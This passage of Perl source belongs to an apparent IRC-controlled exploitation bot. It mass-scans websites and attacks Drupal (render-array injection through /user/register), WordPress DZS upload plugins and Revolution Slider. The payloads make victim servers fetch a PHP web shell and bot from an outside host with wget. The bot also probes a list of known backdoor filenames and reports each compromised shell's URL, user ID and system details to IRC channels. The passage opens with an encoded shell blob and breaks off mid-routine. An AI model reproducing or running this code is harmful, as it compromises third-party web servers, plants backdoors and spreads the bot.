C90T0h1QnpIeVNDendVa2NkTzhyMWI4QVM3L01VZ0liVG1XQUZ1RnlPMzV3TnhSQ2t0NXkrcXUveHpQK1VkeVI5UklSMGltdEZ6eGZhSW5leDBmUHNtWGRIWFFUa3ZucjJCQWF6bzArVlpWbHJMNFYyZU5GZGRsTW1XK3ltWGlMWHlqMW5BT1RVdSsyYzZCTW9QSm5HbFFVRDFqazR1UDJBaDcycFJtOHBkNC9EaHhXa2l0WXB3U285WGU1TE1VZUliSXZ1cDFzQ0E3aGtGTFdWTHQyOEZ1RnhhenNtS2xheTJnd0NMYUpPaUM2MFJiV2tEUWpUdVRkYS9FNWsvK29ueDZPNGFYTHMxRnFMTjRqVkZnc2wwRHI1ekh3bGs5bWhHOUlSdU11MTNGK1MvREFJQVFVcUswMmw5cWxJYUZqWStvL2FHUzdXcHB3NXcyb29JUkoybk85VXcrbjVaVjVVdFlRZ3BkaDFrOUVhMG5TZ3hXbEpIdEhVNitSeGtMWWxGa3FLZmU3a3lkQ0Q3d1laYno3RVk5L2JqejFsTmMyNmJsaVpXZjVwYTY5STl3ZVRSMC9GRS8xSTVRVVFKWmRoWU9JVmZxTm42M3RxYVN2czlwMExuK2JOSXhadmgzV0RkQjBOMDJLakttR0p5UVNpLzlLZ3N4Nko2QlpzalBkZmh0NjFTY0NTbTQ0TnFFaVE5cTBkY0hDRWxnK2FCWkI3MFIxSm9VWnZ5cTQ2d2RobjFlbXY5NkcyaWFwT3BOMFF3T2NGZzRHMmNtSkhLem5yUHRuM05vZjJBRmJJbnJmK1ZKYVl1NS91MlBXZS9yL3JEa3hvYWFuSUFzd283b0NUblBuZ2ZvOEZNdzg1TnAyWjU2dHhmMWpSN1R0ZjJ3aGFpR0J1dWprTDRHNjNEQmVLVGs1NDB4enBYY0Jhb29ISWVzd05IeWI5WHh5V0hRc25SeUQvZFBxbnl3eEQ0NmhxYVlZZGZGRjZhSlMvMjVlQnJsL2UxRzVBNUpsaVE4aVRCenZjcjVrK25DeTJmWnMySjZvS1FTb1VpUFlZcDUrRGdMVlVUN1RsT3JMeHpUQWRiOWdVYVdaR296UDM2am05M3NXN2N4aEZpUXNKMjF5cGkvTW5DaVUwaXpDcVo1UGpQYXhlZW5yOWNnWDZnTUVDVE83TkdKRzNrV21uUmwzSC9vWGI5UUZPelFFaW9XS1o4M1NyYm0xSXlwVUVwOUpTa1Zhd0x6RExVL1ZwME00TG9VVCtYdTNLYy9OL3pOUUZneGM1TTNWOEgrMnZFMzViNHU4cE96NnJ1THhneHRiTXBod1pjUTNUMEhIY2RXWWRsenl0RnVUckhEcGtWUDZoTUJOdmlWRXUxWVpRbjNvZndVc2ZsNmp6eEs5TCsvamxCVjYwMEs4N2NTUWVVa1dmNzZGcTdrajRCTGdIS1c3cTR2dXBIOG5CWFhXWjdlcTBxb25mWDZLcHBQVklMOUtBUWo2MC9oL2xjMHNpbWRYN2x2aE50eWx1bWdueU5pTnJpWEw4K09qTjNQSVdmWC9reEduUnNack9NaTAyNTgvRlJBSExVSUZmZTZ4WFRGNXppMzV1VjNyWi93UkQ5QnlvbGVSYjVVMTZzNHk3dDY5U2lrdFZoT2lpR3RZaitHNkh3ei9rL0wwcU9ob3JxWjNEZlgzUjl4WDdjbHhYRi9BVk4yK3kzbllvT0pTdkFWK0lZdkg2QVAyRlNMOVdkeXZXMFl3dll6TkQ1L05hck5OTEpSaE5tbldNV01NQU92a2IvaHQwVXdXMTFIY0VscGtSUEk0Rk8vSitSNG13Rnh3ZW1FbGFBT0Jqc3hyNllOUUVxeWhlWXZzbTI1SkgzM2R6MEdtUHpyN20rdGNYQ05RcWlEMkhiY3FxaEtoRnZrNVpHVHRBSm1XK0V5S2hZQzRNcXRjQ3ppSDlTV1VVZi9wWnBpOGYzTnRod0s5WE5NQ0FTRXJrRDF0c08zeUVEMEEvZTR6ZUhUQzlldDBoZWtmMmRrOWFPT3Y4OEp0bE5XYTF4R1k1NjFFcjh3aklWUVAxR1AxRmFqVjRFSVBkQ2lNbW9DNnlqcWpPTEtMREE0TU9uM3ZGRG9Qbmo4MGxabGVUazMxSVRCeFlldE5DNWRhdktYVlVsVzZNTjA2ekY3ZFRJbjExVUMvT0N5U2s5YWY5T3NrSnhiN0FIZHFpL2x5TnM5Y2RTeThSdTlGd1BZcVlWam1VQzJWLzNrQmprcVF5a2xEU3pyUXJWVXg1SUZlTy9BR2RaMW1rd252eDlIMnhvUHFLSWllQWRMWi95V2I2WjA4NkJESmN2dWxvTC92TEQweTlxVFk0dDZoNmhyUXhCYUxhN2hQbHlNRFBiNnZLY29RSWhkM0ZyQ3loek5ZMTg5eEprdUR0YWZ5TEYxQzVhclE3VDRjZEdmUXMyNk5idUlPQVNHU3BhNWl1SGFUdTVhQnRMUms4TzlReUFlY1gzRDdhOUZ4Ty9zK2tpaG9EL2I0c0E5K255Z3p3djFBdTdGS3VKL3RaSThyQ1h0NGN5OVZmTHlBVGNIUWxGb25jMGhpOEVrYkoxWEFFd0JPTjdjMEY5OEozSDl2ZmJOQjlMQlJwSWJmV0hJTUVYZzQrWkh1WHNkaEpYQjBNdThqYldpdE1nTEdZT2tlQm5ZcnkxQjFoRGFQcDVuWDY4SFZ0aVZMVDBOS3FpN1BSbWJmdFNMMWJic0Y2WlFJM0xUSC8vYno0UGxPSUNtd1ZDblV2VjdDc3YzUjlEYXlleHVJU1NLL0dSTTdpSDVFMzBOZkpreW9raUE4Y3N2a2pjbkdLVml5WkZvaW9uaStrZ2JYa1JaaDVNUnBPclBjYkhIL1RFcGF0WU5CVUFoT2FRWG93Q2hML2Q2TlB6THZzUnFyTXV2NU1VVkh0WThUdE9sdnZ1RkJENFRwdlQ0aU1idFMzbkRVUWsvb2M2OUFaUi92Vi9mblVwSzE5dllHV3FUT1p4NGRab3FJRlVISDdVd0ZLVXVEZm04dnpLNjFmTGhQQ0hWbDJneElYN09IeUNaTEFDcVAvMXlyYW9LK3FYZlEzenFLTGdEN0hYYmJnbjl5WTlveFRuVm9aOGl4a2M1cjV4d2VHdkVrZXRtWmFjNENZUGc3RmExUGdnVGdGVno0REJJSStSdEpod2NwSkFlSkR5dEJNSGg4cHVBL0g0RWRrQkUxS1FXcXNYQ1VwRk9qNDZHdmp5RFNMZ0FlOTdDL251ZHVNbGxXNDd1NGc4cEVBSXZtYTRlQ2tlazRhS3lFSzhMVXBZYzhCcjBpWitWek9UTURjQ1NLcVVBMkxpOFNpaUc2dGlxYjZtRzBubHVkK0o0M2xuMk9HMGo4YlBiRG9OcWVwdk9tb3ZPQjg1MEFFR2xua2gxN2IrV0prVllONTdDTEhUVWF0UElMOW9FMk84cS9MUXgxb25FanAyeHpxSjl1TGRNM3oydGtzZ2VkRFpCbUZMOThEWTQwbWNsSElQazZ3RkN5eHpKMCsrRzBFVzhyemhzVkFHeDZTRzJxN3ZqMHcxTjlBYXJISnc0TEhVb3IvMWVVL20zQXpNbzNXSEV0ZnF3ZW9rQ0dDUGtIYkFwek1GN29HbjIwcDVGRDRHNlk5WFBhWHFlNENtOHNTUmcyN01LWGorSGtWZWZ5SXVmd2JZcWo5WTQxMnY5SlJiNGtkVE42c0VRYzdGWDV2U2dGeVNJQUJ6djNrZldvZ0hqVzZGRE04cjNRbFFNTkZTNlFMNllhLzJUSGhGTHlMbGJxQkkxMnlWNHpiWHY3VmkrQWRldzhqejczWDFmZEF2VVlaN0VldHp2R0NKT3pTVFhTa2VzR1owMXBVQ1lxTW9sVkhVRHBCc1dqTDhNdk5MZEl6bGE4T0FIY3lnbU55ODh0SHpjM2MycjNjblBTZ3JXSDZXVCtIM25RRjQvaVhFclpkT2dXVWNUWGsvR1k1aGNyV2F3SWJDMk5oYSsybTA2NlZSalpmdUVrazJMN3VobTBqdjlia1JOYU1jZFRGTUNpdDV1RGJXRDBYd2JNcEI1emJRbGFwZkVIemg4UGoyQk11eDk4YzdxczkzWDlWcWMvcTMzVjM5SG44S21oRys5a2tGS3lHVEk3NEQyQzgyN0FNVHgyelpLWElpeG9YcTREaWs0MFBraHNUVk84L0xOUDhNTmpudjBZNnQ1TWI0QTZwQ2M1dEdVdDVzSSt5NWVuZGFzblYycWY4RXNNM3hZVmh2bjNkOUhwcmhtM3NPeEJqcVRvMlNvN3hBbDUydWFFMTBocnR3bjJJVFUya2M2cWlpbWwzZHUrcXdBUjh4VC84MTN3c0Z0dExBblprcGtVUVJHclQ1ZWNHWm42UHNSditHRWlPWTdyREI1Slo2bWpUWkkxcWRKQmRybFRPY3BqclhzKzFqeGk0U3lVaW56ZHlHbGRiUWw2cXdicmRLMDIrN3hlWEhyWER6akRBeFVOYkZLNngxQWFsK01oVk4vQ29ibmJsNElpaGZ5eHljQ0R3OFI4emlUTFNwTmNiR2FqbTN1NHU1MmpURDUxS0lRYzdhOTN4bW1mN1hUVDhoMlJ6YktWL1BQRWg3UVlwbzNSbUZkWFNaOXBIOXV5UXFsUEVYN3lQOXZKMUlmc1oyYlhGcVZldFZUcXNMakszM3J3UFBWclVadlRvNmkwT1B2QXhnSHlRQmlIK0plc0FRTU5QZnNHaDVtNVJEYXNxSWdLdktSajVPZ3BxbE1LQzhOSXJUMUNiWkJRRVN1SUlQUVBYeXJLMFBxWUNLRHVKcEpGVVBWWkZaT2cxS0hwR1NHS042RFAwZjdnYmNObFhJVzhPQUJmR01UaVRwNjNxTHRQYVYwVXpkb1dOd0NwK3E5MHJOV2hsRmNCUlRhVjltL3o4TGFuQTlyM1Jic3NPaWtqYWF1MDFSYWNqOExCRCtJbmFCYllXNElKdTVZbTRVeG01QjREbU1oYXFuM3Z0WFJVcDFhajcxOVFkbFMreklyTmtzeFRPRjg5eDA2OStJL0t1WjlURUhuZmgyZWtBVjlmMDlDSHFPK215UEVjOHNFanpqRmFBRHkxcWNaZE1ZZkNQMitTQ2RvNWt1T3d4blI0RldXdFkxN1RKMmJJM3RjWGdXb09pS0hxZ0hWSXJ6NktEZGtFK2tiNnF3RlVBM1BEU0hSRUFEOG9GRFMweEkzeFY5Ri90L0t6bmxVUlNzSnc2OUZLa3lxdHJBS2toMTJjenlaTE1XV2VRa2s1SFhVQWhLU3c3NWlRbUtxdW5xcFczclp2aVFnNGpzbmhEaC9ZL053cU1OQ0Q3VTZ4Z053MHZ0WXhiSUxhVkU4eFpCRVVuT2xvOFZvbldZZC9jZ0VLSzBwMDd3b21tNFMrMHRCeUhGbGdVMFVhcWloaVFhbXlqYU9UMGwraTZqM2YxMDJVWjN2MkxDM0tTbEVyUU94NjE5amFMRFJ4ZVZLLzhUY3JWNlVISDROVnMwNmhPVHAzTEVrZHUvN3ZwU1dtM3ZwcEdzQnVFRXNmUzV4c2JEYVdWUThWclF1clJnZXRpT0EzSzRqR256S0JOSjdYRHczQ2ttWFRVRXkwVjRlS0FTbHQ0dTF0L3N4Y2s2alJMZTdqOWdlRVVIWXpUY1pDMHZrL0NhZnpSVnY2bnc4alZzK0lpMCtzN0haWTFTU2dnZktXa2E5RnRpeWRtcHlaL0dxdnRiSGFaV2M2SWlxc2wycXZuU0gzYUs4UlBVWjlEZ043aGRhdlhnekZsSitVNDNiMFl6VktYTE40TGJsb0EwaHJaVlczTFVGQ0xiYUlIanR1WUNRR3NibFdwRGdWRTFrZUIxUzhwUWhSRnM0Tkp0ckIyaVNRZmo5d2ZTK1RXcGRYUXNkWFlLeFlNU3FaVmFueTlOSlJnTHQwR1lQZ1phdFRjakFTSHBiYVQrc1dnSnZ4Q08zRDFxWWJhaEdpdHhjWGFBZ21ETmc4M1c1TG9mblJZYWNnenlrbzVtZEtxNERjejlIMU1URWF6NllOTzhHSlRzYWd1V0RabEdxOEVWVjQrV1Nnc2Fua080QU9FdmpXUUE1Tjl5T3hRTzVkUTVSYTAzT0VyNjlFTGFYRXNNV05lbVN5U2Z3Q0pFUWZiUDRYSndmcXJrTFgybzRITG9hYjFpSUJSWXJzN3BFK2ptbCtaUlA1NEdhbGczWmhzcmgxalNxVlVYT2F6eHpCeTR0V3d3MkY2UEV3eUtsZStXZXZNSEp5SFRabXRiSG9aVVVrbGZRMUo4dXZDZHExOWlTRDV5K2kzL0tRdmNKN1hsbWZuNHlJYkRWc25Yb3BCeUtXZ0JPZDlibVpoeVNRZWdZdlVwQ3ZXanFrdjVaM0JnVXdIaDBIbXcwUWplNnZ3bGI1OE1TUXUvNldXYU5NMWxnMTlaRGczcWExODBabUU2VVc4VWZrb29udUxkVGFiWUJiYmVsSmVjcGJNd0h3bmwwSGxEQ0tJSjljSit3RzRkbXlwNDJRb3cxVHJHOVIvTmFZRnlqMkUvVVZBek4zM0Zja2tFVXJ4ZFdXSEZ2WGJrSWdzaFJseWUycG5ZTHN3aWlJazA2cjF5SGpxODJ5bDRnRUo0UnlndjlPZzd2MlM0MnhlUERRdDZ1OCttSVJBWmVjVUJDRExxM3JZV0dzTnlTdTBtZERhalhTSTg0b1JkQW5yT1ZZSzh0bkRrSFRPM0RKTmRJUjhiUGlSWE1KNHR6ZWNIWUdORnZoVWU0R09XNmMyMVlRNFRaV1BVQTFSanZqaUNHNjBQaFNLTXJnR1VkMlpORSs3cjA2T09aV0lvaHIrNzN5VGpZSzRHalBaZXFqRnp5bXBGWlI5WHZBaUxtSCtkT1N3SDF0cC9tbWlwUFlnL1BIRHJLMTBMM2NuelRBRWJxdHdtdkRNaG81TGZ6akxTR25YTkpjWUZFdkl1d0s0VUE3ZEw1SmxpcWM4eWFnL256dGJQMFJPZkZIbDFVUktJWlBCV0NyUm5PNktiNm1MMHBYSEdFUVg5VllCeG1yNU82RVc2R0VxWTRTK1dtN2Q4cnhjTUVFZXZYNVlGekt4YzFHZ1JmWUtSYWliemZhMzBiYXMxZzJpbzFLV3I3NXQ1YUdlK0xXSXk0UkYvYTdVeGJCL1Z6YTNvYTdxT1JxVTZMSC9nRmpxR0hRTmpuNkt0ZEN4aG1lbVdZbGhLd3N0SUVQZVk0R1FkTEhTa1ZucU1QY09LZm1tQlZuLzc5OU5QbkMySzV2UFcvRjBGMG5UT3YyWjh0WGJkZi92LzZBcis4dm9EcUh1ZjllSk0yZnlTaGY1M1ZneUh1NGFBbzRLNGVCME05dmltQS9XaUJMZzd1Y3Z4VTFyc2ZNbXZzZHMvLyttaVBQZjFhU3VXWDU5ZVAxTmZubHc5MDVhZGYvL1AwL0xYZUVFcnZIcmpQbDJ0dU8wUEdRdis0OGhjZjNlOTRnK1JHQW9yNFpyeUFmdWcvZlhuNDU1K2YvanRKQmFqeXI5ZnZlTmdWK3M1QzZpYXV2bEYvYkE2ZzUvZGJ5ZHp0L2Z2MC9zUXZRbC8zL2hHUGlyci9FdDlzUDFPaDM3UFEzMjdvdHpUMFZEajBDKys5Tjk4QjBUOGxiOThUc2QrSjJMZFI3RlJSN0VLSmU1bmZBQT09JykpKSk7ID8+++base64+--decode%7C+tee+sites/default/files/cia.php"; my $ajaxx5 = "_triggering_element_name"; my $responsex5 = $ua->post($addblockurlx5, Content-Type => 'application/json', Content => ['form_id' => 'user_pass', $ajaxx5 => 'name']); my $bodyx5 = $responsex5->content; my $regexx5=''; if($bodyx5 =~ s/$regexx5//){ my $newoutx5=$1; $formcraft2upx5="http://".$site."/?q=file/ajax/name/%23value/$newoutx5"; my $responsesx5 = $ua->post($formcraft2upx, Content-Type => 'application/json', Content => ['form_build_id' => $newoutx5]); $shellx5 = "http://".$site."sites/default/files/cia.php"; my $pbot = "http://".$site."sites/default/files/pbot.php"; my $checkaddblockx5 = $ua->get("$shellx5")->content; if($checkaddblockx5 =~/
/) { #&message($chanx,"![3DRUPAL7-Vuln]! [1 ".$site." ]"); sleep(8); my $checkx5 = &Query($shellx5);&Query($pbot); if ($checkx5 =~ /MildNet - Shell/) { if($checkx5 =~ m/Shell : (.*?)<\/b>/){ $safemo = $1; if($checkx5 =~ m/id=(.*?)grup=/){ $user = $1; if($checkx5 =~ m/Sistem : (.*?)<\/b>/){ $infeno = $1; } &message($admin,"![12 Exploited 6 ]! [ 14Shell ".$safemo." - 14".$infeno." - 4Uid=".$user." ] [12 ".$shellx5." ]"); &message($wakil,"![9DRUPAL-Vuln]! [ 14Shell ".$safemo." - 14".$infeno." - 4Uid=".$user." ] [12 ".$shellx5." ]"); &message($chanx,"![12 Exploited 6 ]! [ 14Shell ".$safemo." - 14".$infeno." - 4Uid-".$user." ]"); } else { &message($chanx,"![4NOT-Vuln]! [1 ".$site." ]"); sleep(8); if ($spread == 1) {&Query($pbot);} }}}}} sleep(3); my $ua = LWP::UserAgent->new; $ua->timeout(5); my $addblockurl6 = "http://".$site."/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"; my $wget6 = "wget http://flicker.com.groundup.coffee/cia.php"; my $response6 = $ua->post($addblockurl6, Content-Type => 'application/json', Content => ['form_id' => 'user_register_form','_drupal_ajax' => '1','mail[a][#post_render][]' => 'exec','mail[a][#type]' => 'markup','mail[a][#markup]' => $wget6]); $shell6="http://".$site."/cia.php"; $pbot = "http://".$site."/pbot.php"; my $checkaddblock6 = $ua->get("$shell6")->content; if($checkaddblock6 =~/
/) { my $check6 = &Query($shell6);&Query($pbot); if ($check6 =~ /MildNet - Shell/) { #&message($chanx,"![3DRUPAL8-Vuln]! [1 ".$site." ]"); sleep(8); if($check6 =~ m/Shell : (.*?)<\/b>/){ $safemo = $1; if($check6 =~ m/id=(.*?)grup=/){ $user = $1; if($check6 =~ m/Sistem : (.*?)<\/b>/){ $infeno = $1; } &message($admin,"![12 Exploited 7 ]! [ 14Shell ".$safemo." - 14".$infeno." - 4Uid=".$user." ] [12 ".$shell6." ]"); &message($wakil,"![9DRUPAL-Vuln]! [ 14Shell ".$safemo." - 14".$infeno." - 4Uid=".$user." ] [12 ".$shell6." ]"); &message($chanx,"![12 Exploited 7 ]! [ 14Shell ".$safemo." - 14".$infeno." - 4Uid=".$user." ]"); } else { &message($chanx,"![4NOT-Vuln]! [1 ".$site." ]"); sleep(8); if ($spread == 1) {&Query($pbot);} }}}} sleep(3); my $ua = LWP::UserAgent->new; $ua->timeout(5); my $addblockurlx7 = "http://".$site."/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"; my $wgetx7 = "wget http://flicker.com.groundup.coffee/cia.php -o sites/default/files/cia.php"; my $responsex7 = $ua->post($addblockurlx7, Content-Type => 'application/json', Content => ['form_id' => 'user_register_form','_drupal_ajax' => '1','mail[a][#post_render][]' => 'exec','mail[a][#type]' => 'markup','mail[a][#markup]' => $wgetx7]); $shellx7="http://".$site."sites/default/files/cia.php"; $pbot = "http://".$site."sites/default/files/pbot.php"; my $checkaddblockx7 = $ua->get("$shellx7")->content; if($checkaddblockx7 =~/
/) { my $checkx7 = &Query($shellx7);&Query($pbot); if ($checkx7 =~ /MildNet - Shell/) { #&message($chanx,"![3DRUPAL8-Vuln]! [1 ".$site." ]"); sleep(8); if($check7 =~ m/Shell : (.*?)<\/b>/){ $safemo = $1; if($check7 =~ m/id=(.*?)grup=/){ $user = $1; if($check7 =~ m/Sistem : (.*?)<\/b>/){ $infeno = $1; } &message($admin,"![12 Exploited 8 ]! [ 14Shell ".$safemo." - 14".$infeno." - 4Uid=".$user." ] [12 ".$shellx7." ]"); &message($wakil,"![9DRUPAL-Vuln]! [ 14Shell ".$safemo." - 14".$infeno." - 4Uid=".$user." ] [12 ".$shellx7." ]"); &message($chanx,"![12 Exploited 8 ]! [ 14Shell ".$safemo." - 14".$infeno." - 4Uid=".$user." ]"); } else { &message($chanx,"![4NOT-Vuln]! [1 ".$site." ]"); sleep(8); if ($spread == 1) {&Query($pbot);} }}}} sleep(3); my $ua = LWP::UserAgent->new; $ua->timeout(5); my $addblockurl8 = "$site/user/register?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax"; my $wget8 = "wget%20http://flicker.com.groundup.coffee/cia.php"; my $response8 = $ua->post($addblockurl8, Content-Type => 'application/json', Content => ['form_id'=> 'user_register_form','_drupal_ajax'=> '1','timezone[a][#lazy_builder][]'=> 'exec','timezone[a][#lazy_builder][][]'=> $wget8]); $shell8="http://".$site."/cia.php"; $pbot = "http://".$site."/pbot.php"; my $checkaddblock8 = $ua->get("$shell8")->content; if($checkaddblock8 =~/
/) { my $check8 = &Query($shell8);&Query($pbot); if ($check8 =~ /MildNet - Shell/) { #&message($chanx,"![3DRUPAL8-Vuln]! [1 ".$site." ]"); sleep(8); if($check8 =~ m/Shell : (.*?)<\/b>/){ $safemo = $1; if($check8 =~ m/id=(.*?)grup=/){ $user = $1; if($check8 =~ m/Sistem : (.*?)<\/b>/){ $infeno = $1; } &message($admin,"![12 Exploited 9 ]! [ 14Shell ".$safemo." - 14".$infeno." - 4Uid=".$user." ] [12 ".$shell8." ]"); &message($wakil,"![9DRUPAL-Vuln]! [ 14Shell ".$safemo." - 14".$infeno." - 4Uid=".$user." ] [12 ".$shell8." ]"); &message($chanx,"![12 Exploited 9 ]! [ 14Shell ".$safemo." - 14".$infeno." - 4Uid=".$user." ]"); } else { &message($chanx,"![4NOT-Vuln]! [1 ".$site." ]"); sleep(8); if ($spread == 1) {&Query($pbot);} }}}} sleep(3); my @bdpath = ("/wolf.php", "/d7.php", "/lfmx.php", "/payload.php", "/xml.php", "/content-post.php", "/header-cache.php", "/mil.php", "/indo.php", "/abc.php", "/magic.php", "/shell.php", "/wp-sign.php", "/bob.php", "/sites/default/files/wolf.php", "/sites/default/files/d7.php", "/sites/default/files/lfmx.php", "/sites/default/files/payload.php", "/sites/default/files/ze.php?z9", "/sites/default/files/uhuy/renata.php", "/sites/default/files/xml.php", "/sites/default/files/content-post.php", "/sites/default/files/header-cache.php", "/sites/default/files/mil.php", "/sites/default/files/indo.php", "/sites/default/files/abc.php", "/sites/default/files/magic.php", "/sites/default/files/shell.php", "/sites/default/files/wp-sign.php", "/sites/default/files/uhuy/insom.php", "/sites/default/files/uhuy/vertigo.php", "/sites/default/files/vertigo.php", "/sites/default/files/bob.php", "sites/default/files/insom.php?1212", "sites/default/files/renata.php?pATCHER", "sites/default/files/vertigo.php?1212", "sites/default/files/vertigo.php", "sites/default/files/insom", "insom.php?1212", "vertigo.php?1212", "zeXXX.php?z9", "ramz.php?yena", "ramz.php?y3n4", "renata.php?pATCHER", "authorize_old.php" ); #1313!! my @result = &backdoorCheck($site,@bdpath); if($result[0] ne "false") { sleep(3); #&get_content($result[0]."=cd%20/tmp%20;wget%20http://flicker.com.groundup.coffee/pbot.txt%20;%20wget%20http://flicker.com.groundup.coffee/pbot.txt%20;%20php%20pbot.txt%20;%20php%20pbot.txt%20;%20rm%20-rf%20pbot*"); &msg("$chanx","![9DRUPAL-Vuln]! [ 14$result[1] ]  "); &msg("$admin","![9DRUPAL-Vuln]! [ 14$result[0] : $result[1] : $result[2] ]"); } } exit; } if($count %150 == 0){ &message($chanx,"![7DRUPAL]! 14".$count." to 14".$upto." 9Finish ![7*]!"); } } } ################################################################################### ##[ DZS TEST ]## sub DZSTest(){ my $count = 0; my @dzsite; my @links = &GetLink(); my @uni = &Unique(@links); &message($chanx,"![13Total]! Sites: 14".scalar(@links)." Clean: 14".scalar(@uni)." => Exploiting DZS started on 8,1 ".$datestring."  ![13*]!"); &Remove(); my $upto = scalar(@uni); my $from = 0; foreach my $site(@uni){ $count++; if(my $pid = fork){ waitpid($pid, 0); } else { if(fork){ exit; } else { $dzsite[0] = "http://".$site."wp-content/plugins/dzs-videogallery/admin/dzsuploader"; $dzsite[1] = "http://".$site."wp-content/plugins/dzs-videogallery/admin"; $dzsite[2] = "http://".$site."wp-content/plugins/dzs-videogallery/dzsuploader"; $dzsite[3] = "http://".$site."wp-content/plugins/dzs-portfolio/admin"; $dzsite[4] = "http://".$site."wp-content/plugins/dzs-portfolio"; $dzsite[5] = "http://".$site."wp-content/plugins/dzs-zoomsounds/admin"; $dzsite[6] = "http://".$site."wp-content/plugins/dzs-zoomsounds"; my $situs = $site; $situs =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; foreach my $pathz (@dzsite){ #my $buka = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 }); #$buka->agent($User_Agent[rand(scalar(@User_Agent))]); #$buka->timeout(15); #$buka->post("$pathz/upload.php", Content_Type => "application/octet-stream", Content => ["file_field" => ["./wpa.phtml" => "wpa.phtml"]]); my $buka = LWP::UserAgent->new; my $open = $buka->post("$pathz/upload.php",['file_field' => ['./wpa.phtml' => 'wpa.phtml' => 'application/octet-stream']],'Content-Type' => 'form-data'); my $close = $open->content; &message($chanx,"![13X]! Exploiting : 14".$site." ![13*]!"); my $dzsh = $pathz."/upload/wpa.phtml"; if ($close=~ /file uploaded/){ my $coba = &Query($dzsh); if($coba =~ /MODE : (.*?)<\/B>
/i){ $safemo = $1; if($coba =~ /Uname : (.*?)<\/B>
/i){ $infeno = $1; } &message($admin,"![4DZS-Vuln]! [ 14SAFE ".$safemo." - 14".$infeno." ] [12 http://".$dzsh."?png ]"); &message($wakil,"![4DZS-Vuln]! [ 14SAFE ".$safemo." - 14".$infeno." ] [12 http://".$dzsh."?png ]"); &message($chanx,"![4DZS-Vuln]! [ 14SAFE ".$safemo." - 14".$infeno." ] [12 Success ]"); sleep(3); &Query($dzsh."?bot", 1); last; } } exit; } } if($count %150 == 0){ &message($chanx,"![7DZS]! 14".$count." to 14".$upto." 9Finish ![7*]!"); } } } } ##[ REV TEST EXPLOIT ]## sub REVTest(){ my $count = 0; my @revpath; my @links = &GetLink(); my @uni = &Unique(@links); &message($chanx,"![13Total]! Sites: 14".scalar(@links)." Clean: 14".scalar(@uni)." => Exploiting Revslider started on 8,1 ".$datestring."  ![13*]!"); &Remove(); my $upto = scalar(@uni); my $from = 0; foreach my $site (@uni){ $count++; my $revsite = "http://".$site."/wp-admin/admin-ajax.php"; if(my $pid = fork){ waitpid($pid, 0); } else { if(fork){ exit; } else { $revpath[0] = "/wp-content/plugins/revslider/temp/update_extract/revslider/"; $revpath[1] = "/wp-content/plugins/revolution-slider/temp/update_extract/revolution-slider/"; my @repathx = ("/revslider/temp/update_extract/","/framework/plugins/revslider/temp/update_extract/","/lib/revslider/temp/update_extract/","/script/revslider/temp/update_extract/","/framework/modules/revslider/temp/update_extract/","/classes/revslider/temp/update_extract/","/plugins/revslider/temp/update_extract/","/advance/plugins/revslider/temp/update_extract/","/wonderfoundry/addons/plugins/revslider/temp/update_extract/","/js/revslider/temp/update_extract/","/minimax/modules/revslider/temp/update_extract/","/library/revslider/temp/update_extract/","/sections/revslider/temp/update_extract/","/framework/tmp/revslider/temp/update_extract/","/theme/templates/sliders/revslider/temp/update_extract/"); &revUpdate($revsite, "revslider_ajax_action", "revslider.zip"); foreach my $inpath (@revpath){ my $chkurl = &ReadLogs("REV.URL",$site); if($chkurl == 0){ my $revulnx = "http://".$site.$inpath."/revslider/cia.php"; $revulnx =~ s/\/+/\//g; my $cobacoba = &Query($revulnx); if($cobacoba =~ /Shell : (.*?)<\/B>
/i){ $safemo = $1; if($cobacoba =~ /Sistem : (.*?)<\/B>
/i){ $infeno = $1; } &message($admin,"![4REVSLIDER]! [ 14SAFE ".$safemo." - 14".$infeno." ] [ 12".$revulnx."?img ]"); &message($wakil,"![4REVSLIDER]! [ 14SAFE ".$safemo." - 14".$infeno." ] [ 12".$revulnx."?img ]"); &message($chanx,"![4REVSLIDER]! [ 14SAFE ".$safemo." - 14".$infeno." ] [ 12Success ]"); sleep(3); &WriteLogs("REV.URL",$site); &Query($revulnx."?bot", 1); last; } } } # ---------------- my $caritema = &Query("http://".$site); if($caritema =~ /http:\/\/(.+?)\/wp-content\/(.*?)\/style\.css/i){ my $posisi = $1; my $chkurl = &ReadLogs("REV.URL",$site); if($chkurl == 0){ foreach my $inpath (@repathx){ my $revulnx = "http://".$site."/wp-content/".$posisi."/".$inpath."/revslider/cia.php"; $revulnx =~ s/\/+/\//g; my $cobacoba = &Query($revulnx); if($cobacoba =~ /Shell : (.*?)<\/B>
/i){ $safemo = $1; if($cobacoba =~ /Sistem : (.*?)<\/B>
/i){ $infeno = $1; } &message($admin,"![4REVSLIDER]! [ 14SAFE ".$safemo." - 14".$infeno." ] [ 12".$revulnx."?img ]"); &message($wakil,"![4REVSLIDER]! [ 14SAFE ".$safemo." - 14".$infeno." ] [ 12".$revulnx."?img ]"); &message($chanx,"![4REVSLIDER]! [ 14SAFE ".$safemo." - 14".$infeno." ] [ 12Success ]"); sleep(3); &WriteLogs("REV.URL",$site); &Query($revulnx."?bot", 1); last; } } } } # ---------------- exit; } } if($count %150 == 0){ &message($chanx,"![7REV]! 14".$count." to 14".$upto." 9Finish ![7*]!"); } } } sub revUpdate(){ my $wpsite = $_[0]; my $action = $_[1]; my $update = $_[2]; my $sukses = 0; my $seper = $wpsite; $seper =~ s/\/\/([-a-zA-Z0-9\.]+)\/.*/$1/; my $buka = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 }); $buka->timeout(10); my $ress = $buka->post($wpsite, Cookie => "", Content_Type => "form-data", Content => [action => "$action", client_action => "update_plugin", update_file => ["$update"]]); if($ress->decoded_content =~ /Wrong update extracted folder/){ &message($chanx,"![13X]! Exploiting => 14".$seper." ![13*]!"); $sukses = 1; } #return $sukses; } ##[ WORDPRESS FILE DOWNLOAD ]## sub AFDTest(){ my $count = 0; my @links = &GetLink(); my @uni = &Unique(@links); my @afd; &message($chanx,"![13Total]! Sites: 14".scalar(@links)." Clean: 14".scalar(@uni)." => Exploiting AFD started on 8,1 ".$datestring."  ![13*]!"); &Remove(); my $upto = scalar(@uni); my $from = 0; foreach my $site(@uni){ $count++; my $sever = $site; $sever =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; if(my $pid = fork){ waitpid($pid, 0); } else { if(fork){ exit; } else { my $cariteme = 